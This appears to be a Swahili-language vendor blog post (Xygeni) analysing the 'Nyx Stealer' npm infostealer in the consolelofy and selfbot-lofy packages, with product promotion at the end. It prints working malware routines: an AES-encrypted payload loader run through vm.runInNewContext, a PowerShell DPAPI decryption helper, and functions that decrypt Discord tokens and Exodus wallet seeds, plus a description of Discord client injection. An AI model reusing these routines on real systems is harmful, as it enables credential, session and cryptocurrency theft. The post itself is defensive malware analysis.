npm Infostealer

Ugunduzi mpya wa Infostealer wa npm: Nyx ​​Stealer Hijacks Discord Sessions

TL; DR

Timu ya Utafiti wa Usalama wa Xygeni imetambua kampeni tata ya npm infostealer iliyotolewa kupitia vifurushi viwili hasidi: consolelofy na selfbot-lofy.

Toleo jipya zaidi (consolelofy@1.3.0) hupachika mzigo wa malipo uliosimbwa kwa njia fiche wa 216KB AES ambao husimbua wakati wa utekelezaji na kutekeleza kupitia vm.runInNewContext()Kwa sababu mantiki hasidi imesimbwa kwa njia fiche kikamilifu, vitambuzi tuli vinavyotegemea ukaguzi wa mfuatano haviwezi kuchunguza tabia yake hadi wakati wa utekelezaji.

Mara tu mzigo utakapofutwa, ukiwa na chapa ya ndani Mwizi wa Nyx, Malengo:

  • Tokeni za uthibitishaji wa Discord
  • Maduka zaidi ya 50 ya vitambulisho vya kivinjari
  • Viendelezi 90+ ​​vya pochi za sarafu za kidijitali
  • Vipindi vya Roblox, Instagram, Spotify, Steam, Telegram, na TikTok
  • Uendelevu wa mteja wa eneo-kazi la Discord

Matoleo yote 20 katika vifurushi vyote viwili yaliripotiwa na kuthibitishwa kuwa na madhara.

Muhtasari wa Kiufundi wa Infostealer hii ya npm

Tofauti na programu hasidi ya kawaida ya wakati wa kusakinisha, kampeni hii inategemea Runtime modeli ya usimbaji fiche.

Kuna:

  • Hakuna uovu preinstall or postinstall hooks
  • Hakuna simu dhahiri za mtandao za wakati wa kusakinisha
  • Hakuna mantiki ya uvunaji wa hati tambulishi za maandishi wazi

Mzigo wa malipo huwashwa wakati moduli inapoingizwa. Mwili wote hasidi husimbwa kwa njia fiche na huonekana tu katika kumbukumbu wakati wa utekelezaji.

Muundo huu huepuka kugunduliwa wakati wa usakinishaji wa kifurushi.

Jinsi Kifaa hiki cha Kunyonya Habari cha npm Kinavyofanya Kazi

Kabla ya kuchanganua kile ambacho Nyx Stealer huiba, tunahitaji kuelewa jinsi inavyotekeleza.

Mantiki hasidi ndani ya npm infostealer hii inafuata muundo thabiti:

Kipakiaji kidogo huondoa usimbaji fiche wa mzigo mkubwa uliosimbwa kwa njia fiche na kuutekeleza kwa njia inayobadilika ndani ya muktadha wa Node.js VM.

Muundo huu ni wa makusudi. Mshambuliaji hafichi utendaji kazi nyuma ya ufichuzi pekee, bali kuondoa msimbo hasidi kutoka kwa mwonekano tuli kabisa.

Mfano wa Utekelezaji wa Kiwango cha Juu

Katika kiwango cha juu, kifuniko hufanya mambo manne:

  • Hupata ufunguo wa AES kutoka kwa kaulisiri ngumu kwa kutumia SHA-256
  • Huondoa maandishi ya siri yaliyosimbwa kwa heksaidi kubwa kwa kutumia AES-256-CBC
  • Hutekeleza JavaScript iliyosimbwa kwa kutumia vm.runInNewContext()
  • Hutoa sanduku la mchanga ambalo bado linaonyesha vitu vya msingi vyenye nguvu vya wakati wa utekelezaji

Muhtasari wa Mbinu Kuu

Sehemu Usanidi / Thamani
Algorithm AES-CBC-256
Utoaji Muhimu SHA-256 (nenosiri)
Vekta ya Uanzishaji (IV) Baiti 16 za 0x00
Utekelezaji vm.runInNewContext(iliyosimbwa kwa njia fiche, sanduku la mchanga)

Kwa kiasi kikubwa, sanduku la mchanga hupitia:

  • require
  • process
  • Buffer
  • timers
  • mauzo ya nje ya moduli

Hii ina maana kwamba mzigo uliosimbwa kwa njia fiche una uwezo kamili wa:

  • Michakato ya kuzaa
  • Soma na uandike faili
  • Piga simu za mtandao
  • Rekebisha programu za ndani

Hii si VM iliyowekewa vikwazo. Ni VM inayotumika kama trampolini ya utekelezaji.

Ruwaza ya Usimbaji Fiche wa Wakati wa Kuendesha (Mfumo Mkuu wa Utekelezaji)

Kipakiaji ni kidogo.
Mwili mbaya haupo.

Hapa chini kuna muundo wa utekelezaji unaopatikana ndani ya kifurushi:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Kwa nini hii Masuala

Mzigo uliosimbwa kwa njia fiche:

  • Je, isiyozidi zipo katika maandishi wazi ndani ya kifurushi cha npm
  • Haionekani kwa urahisi grep au uchanganuzi wa kamba tuli
  • Huonekana tu katika kumbukumbu wakati wa utekelezaji
  • Hutekeleza kwa uwezo kamili wa Node wa kuendesha

Mchanganyiko huu wa utekelezaji wa AES + VM ni kiashiria kikubwa cha kitabia cha npm infostealer inajaribu kukwepa ukaguzi tuli.

Kwa maneno mengine:

Ukichanganua mti chanzo cha kifurushi, huoni mwizi.
Unaona kiondoa msimbo.

Kinachotokea Baada ya Kuondoa Usimbaji Fiche

Mara tu baada ya kutekelezwa, Nyx Stealer huzindua mawimbi sambamba ya ukusanyaji wa data.

Wimbi la 1: Uchimbaji wa Kitambulisho cha Kivinjari

Programu hasidi:

  • Hupakua muda wa uendeshaji wa Python kutoka NuGet CDN
  • Husakinisha maktaba za usimbaji fiche
  • Dondoo huhifadhi vitambulisho vinavyotokana na Chromium
  • Huondoa siri zinazolindwa na DPAPI

Badala ya kukusanya vifungo asilia, hutumia PowerShell kuita Windows DPAPI moja kwa moja.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Mbinu hii:

  • Huepuka mkusanyiko wa mabaki
  • Inatumia API asilia za crypto za Windows
  • Huchanganyika katika zana za utawala

Ni usimbaji fiche wa kiwango cha OS, si uchakataji.

Wimbi la 2: Uondoaji wa Usimbaji fiche wa Tokeni ya Discord

Mwizi anajua itifaki. Anaelewa umbizo la tokeni lililosimbwa kwa njia fiche la Discord.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Mtiririko wa uendeshaji:

  • Toa ufunguo mkuu kutoka kwa Discord's Local State
  • Ondoa ufunguo mkuu kupitia DPAPI
  • Ondoa matone ya tokeni ya AES-GCM
  • Thibitisha tokeni dhidi ya Discord API
  • Boresha kwa kutumia Nitro, beji, taarifa za bili

Huu si utupaji wa vitambulisho vya jumla. Ni utekaji nyara wa kipindi unaozingatia itifaki.

Wimbi la 3: Kulenga Pochi ya Dijitali

Mtoaji wa habari wa npm anaorodhesha:

  • Viendelezi 90+ ​​vya pochi ya kivinjari
  • Pochi 27 za mezani
  • Njia za pochi baridi
  • Faili za mbegu za Kutoka

Mfano wa jaribio la kuondoa usimbaji fiche wa mbegu:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Ikiwa itafanikiwa, maelewano ya pochi ni ya haraka na hayawezi kurekebishwa.

Hii inawakilisha vekta ya uchumaji mapato yenye thamani kubwa zaidi ya kampeni.

Uvumilivu kupitia Discord Desktop Injection

Baada ya kuvuna sifa, Nyx Stealer inajaribu kuendelea kwa kurekebisha hali ya ndani Ugomvi wateja.

Lengo:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Mlolongo wa Uendeshaji

Mtoa taarifa hufanya hatua zifuatazo:

  • Hukomesha uendeshaji wa michakato ya Discord
  • Hupata aina za Discord zilizosakinishwa (Stable, Canary, PTB)
  • Hubadilisha discord_desktop_core/index.js
  • Huingiza mantiki ya wavuti inayodhibitiwa na mshambuliaji
  • Huanzisha tena Discord

Hii inahakikisha kwamba vipindi vya Discord vya siku zijazo huvuja kiotomatiki tokeni mpya za uthibitishaji.

Muhimu zaidi, uendelevu huu hautegemei kazi zilizopangwa au marekebisho ya sajili. Unatumia urekebishaji wa msimbo wa kiwango cha programu, mbinu ya siri zaidi.

Hata kama kifurushi hasidi cha npm kitaondolewa baadaye, mteja wa Discord bado ameathiriwa.

Ulinganisho wa Kiufundi: Selfbot Halali dhidi ya Infostealer ya npm

Sehemu Maktaba Halali Nyx npm Infostealer
Encryption hakuna Mzigo kamili wa malipo uliosimbwa kwa njia fiche ya AES
VM ya Wakati wa Kuendesha Haihitajiki vm.runInNewContext utekelezaji
Ufikiaji wa Kitambulisho API ya Discord pekee Kivinjari, pochi, DPAPI
Vipakuliwa vya Nje Hapana Muda wa uendeshaji wa Python kupitia NuGet
Kuendelea Hapana Uingizaji wa mteja wa Discord
Ufanisi wa mapato Otomatiki ya kiboti Uuzaji wa cheti tena

Safu ya usimbaji fiche pekee tayari hutenganisha kampeni hii na uma wa kawaida wa chanzo huria.

Boti halali ya Discord haina sababu ya kusimba msimbo wake wote, kutoa PowerShell ili kufikia DPAPI, kupakua muda wa utekelezaji wa nje, au kurekebisha vipengele vya ndani vya programu za eneo-kazi. Wakati uwezo huo unapoonekana ndani ya utegemezi unaodai kuendesha kiotomatiki mwingiliano wa Discord, utofauti wa usanifu unakuwa mgumu kupuuzwa.

Kwa mtazamo wa uchunguzi, kielekezi hiki cha habari cha npm huacha alama kwenye tabaka nyingi. Hata hivyo, viashiria vinavyoaminika zaidi si URL zilizo na msimbo mgumu au njia maalum za faili, kwani hizo zinaweza kubadilika kati ya matoleo. Badala yake, ishara za kudumu ni za kimuundo.

Katika kiwango cha kifurushi, bendera nyekundu yenye nguvu zaidi ni mchanganyiko wa mzigo mkubwa uliosimbwa kwa njia fiche na kifungashio cha kusimbua usimbaji fiche cha wakati wa utekelezaji ambacho hutekelezwa mara moja kupitia vm.runInNewContext()Ingawa usimbaji fiche pekee si hatari kiasili, kutumia usimbaji fiche wa AES unaofuatwa na utekelezaji wa VM unaobadilika ndani ya kifurushi cha huduma cha Discord ni jambo lisilo la kawaida sana.

Katika kiwango cha seva pangishi, mifumo inayotiliwa shaka inajumuisha shughuli isiyotarajiwa ya usimbaji fiche wa DPAPI, uundaji wa michakato kutoka kwa muktadha wa utegemezi wa Node.js, na urekebishaji wa faili za programu za ndani ambazo hazipaswi kubadilishwa na maktaba za wahusika wengine. Vile vile, kwenye safu ya mtandao, mawasiliano ya mtindo wa wavuti unaotoka nje unaoanzishwa na utegemezi wa uundaji yanawakilisha kasoro nyingine yenye maana.

Kwa maneno mengine, sehemu ya kugundua si kiashiria kimoja cha maelewano. Ni uhusiano wa usimbaji fiche, utekelezaji wa wakati wa utekelezaji, ufikiaji wa hati miliki, na tabia ya kuendelea inayofichua tishio.

Ugunduzi na Upunguzaji wa Uvimbe kwa Kutumia Xygeni

npm Infostealer

Mtoaji huyu wa habari wa npm alitambuliwa na Onyo la Mapema la Programu Hasidi ya Xygeni (MEW) kupitia uwiano wa kitabia uliopangwa badala ya ulinganisho rahisi wa saini.

Badala ya kutafuta mifuatano hasidi inayojulikana, MEW hutathmini kasoro za kimuundo katika mti kamili wa chanzo. Katika hali hii, ugunduzi uliibuka kutokana na muunganiko wa ishara kadhaa: utaratibu wa usimbaji fiche wa AES uliopachikwa katika sehemu ya kuingia ya moduli, utekelezaji wa haraka ndani ya muktadha wa VM, na kutolingana wazi kwa uwezo-kwa-nia.

Muhimu zaidi, hakuna hata moja ya ishara hizi pekee inayothibitisha nia mbaya. Hata hivyo, zinapochambuliwa pamoja, zinafichua jaribio la kuficha tabia ya wakati wa utekelezaji. Mbinu hii yenye tabaka hupunguza kwa kiasi kikubwa matokeo chanya ya uongo huku ikitambua vitisho vya mnyororo wa usambazaji vyenye imani kubwa.

Zaidi ya hayo, kisa hiki kinaonyesha kwa nini ukaguzi wa muda wa usakinishaji pekee hautoshi. Mantiki hasidi haipo katika hati za mzunguko wa maisha. Huwashwa tu baada ya moduli kupakia na huonekana tu mara tu inapoondolewa kwenye kumbukumbu. Kwa hivyo, ulinzi unaofaa unahitaji uchanganuzi unaozingatia usimbaji fiche, utambuzi wa ruwaza za kitabia, na ufuatiliaji endelevu wa utegemezi zaidi ya matukio ya usakinishaji.

Kuondolewa kwa Usajili ni tendaji. Uchambuzi unaozingatia wakati wa utekelezaji ni wa kuzuia.

Kwa Nini Kifaa Hiki cha Kunyonya Habari cha npm Ni Muhimu

Nyx Stealer inawakilisha mageuzi ya kimuundo katika programu hasidi inayotegemea npm.

Kihistoria, vifurushi vingi hasidi vilitegemea hati zinazoonekana za wakati wa kusakinisha au sehemu dhahiri za uondoaji wa vitambulisho. Kwa upande mwingine, kampeni hii husimba mzigo wake, huahirisha utekelezaji hadi wakati wa utekelezaji, hutumia API halali za mfumo endeshi, na huanzisha uendelevu ndani ya programu zinazoaminika.

Kwa hivyo, mshambuliaji haitaji kutumia miundombinu ya npm yenyewe. Badala yake, shambulio hilo hufanikiwa kwa sababu usakinishaji wa utegemezi unamaanisha uaminifu. Wasanidi programu hudhani kwamba kuingiza maktaba ni operesheni salama, haswa inapojitokeza kama njia inayowezekana ya zana maarufu.

Kadri mifumo ikolojia inavyoendelea kukua na uma kuongezeka, mpaka huo wa uaminifu usio dhahiri unakuwa uso wa mashambulizi unaovutia zaidi. Kwa hivyo, kujilinda dhidi ya wizi wa habari wa kisasa wa npm kunahitaji kutambua mifumo ya usanifu badala ya kutafuta nyuzi tuli.

Hatimaye, kampeni hii inaimarisha somo muhimu katika software supply chain security: vitisho hatari zaidi si vile vinavyoonekana kuwa na nia mbaya mwanzoni, bali vile vinavyoonekana kuwa halali kimuundo hadi wakati wa utekelezaji utakapofichua tabia zao halisi.

zana-za-sca-za-uchambuzi-wa-muundo-wa-programu
Weka kipaumbele, rekebisha, na ulinde hatari za programu yako
Pata Akaunti yako ya Bure.
Hakuna kadi ya mkopo inayotakiwa.

Linda Uundaji na Uwasilishaji wa Programu yako

na Xygeni Product Suite